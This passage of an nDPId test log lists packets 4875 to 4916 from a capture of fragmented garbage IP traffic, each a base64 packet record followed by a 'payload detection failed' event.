+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258326,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258333,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258340,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258350,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258360,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258370,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258384,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258392,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258400,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258407,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258414,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258424,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258433,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258448,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258455,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258462,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258470,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258502,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258536,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258544,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258551,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258563,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258570,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258576,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258584,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258601,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258609,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258616,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258627,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258638,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258645,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258652,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258658,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258666,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258676,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258684,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258691,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258699,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258706,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 